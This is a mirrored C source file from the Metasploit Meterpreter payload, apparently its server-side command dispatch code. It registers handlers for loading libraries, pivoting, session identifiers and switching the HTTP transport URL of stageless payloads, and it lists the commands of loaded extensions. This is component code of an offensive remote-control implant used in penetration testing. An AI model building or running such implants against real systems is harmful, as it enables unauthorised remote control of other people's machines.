1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-08 14:36:22 +01:00
metasploit-payloads/c/meterpreter/source/server/remote_dispatch_common.c

136 lines
3.8 KiB
C
Executable File

#include "metsrv.h"
#include "win\server_pivot.h"
// see ReflectiveLoader.c...
extern HINSTANCE hAppInstance;
PLIST gExtensionList = NULL;
DWORD request_core_enumextcmd(Remote* remote, Packet* packet);
DWORD request_core_machine_id(Remote* remote, Packet* packet);
DWORD request_core_get_session_guid(Remote* remote, Packet* packet);
DWORD request_core_set_session_guid(Remote* remote, Packet* packet);
DWORD request_core_set_uuid(Remote* remote, Packet* packet);
BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result);
// Dispatch table
Command customCommands[] =
{
COMMAND_REQ("core_loadlib", request_core_loadlib),
COMMAND_REQ("core_enumextcmd", request_core_enumextcmd),
COMMAND_REQ("core_machine_id", request_core_machine_id),
COMMAND_REQ("core_get_session_guid", request_core_get_session_guid),
COMMAND_REQ("core_set_session_guid", request_core_set_session_guid),
COMMAND_REQ("core_set_uuid", request_core_set_uuid),
COMMAND_REQ("core_pivot_add", request_core_pivot_add),
COMMAND_REQ("core_pivot_remove", request_core_pivot_remove),
COMMAND_INLINE_REP("core_patch_url", request_core_patch_url),
COMMAND_TERMINATOR
};
typedef struct _EnumExtensions
{
Packet* pResponse;
char* lpExtensionName;
} EnumExtensions, * PEnumExtensions;
BOOL ext_cmd_callback(LPVOID pState, LPVOID pData)
{
PEnumExtensions pEnum = (PEnumExtensions)pState;
Command* command = NULL;
if (pEnum != NULL && pEnum->pResponse != NULL && pData != NULL)
{
PEXTENSION pExt = (PEXTENSION)pData;
if (pExt->name[0] != '\0' && pEnum->lpExtensionName != NULL && strcmp(pExt->name, pEnum->lpExtensionName) == 0)
{
dprintf("[LISTEXT] Found extension: %s", pExt->name);
for (command = pExt->start; command != pExt->end; command = command->next)
{
packet_add_tlv_string(pEnum->pResponse, TLV_TYPE_STRING, command->method);
}
dprintf("[LISTEXT] Finished listing extension: %s", pExt->name);
return TRUE;
}
}
return FALSE;
}
BOOL request_core_patch_url(Remote* remote, Packet* packet, DWORD* result)
{
// this is a special case because we don't actually send
// response to this. This is a brutal switch without any
// other forms of comms, and this is because of stageless
// payloads
if (remote->transport->type == METERPRETER_TRANSPORT_TCP)
{
// This shouldn't happen.
*result = ERROR_INVALID_STATE;
}
else
{
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
ctx->new_uri = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
*result = ERROR_SUCCESS;
}
return TRUE;
}
DWORD request_core_enumextcmd(Remote* remote, Packet* packet)
{
BOOL bResult = FALSE;
Packet* pResponse = packet_create_response(packet);
if (pResponse != NULL)
{
EnumExtensions enumExt;
enumExt.pResponse = pResponse;
enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING);
dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName);
// Start by enumerating the names of the extensions
bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt);
packet_transmit_response(ERROR_SUCCESS, remote, pResponse);
}
return ERROR_SUCCESS;
}
/*
* Registers custom command handlers
*/
VOID register_dispatch_routines()
{
gExtensionList = list_create();
command_register_all(customCommands);
}
/*
* Deregisters previously registered custom commands and loaded extensions.
*/
VOID deregister_dispatch_routines(Remote * remote)
{
while (TRUE)
{
PEXTENSION extension = list_pop(gExtensionList);
if (!extension)
{
break;
}
if (extension->deinit)
{
extension->deinit(remote);
}
free(extension);
}
command_deregister_all(customCommands);
list_destroy(gExtensionList);
}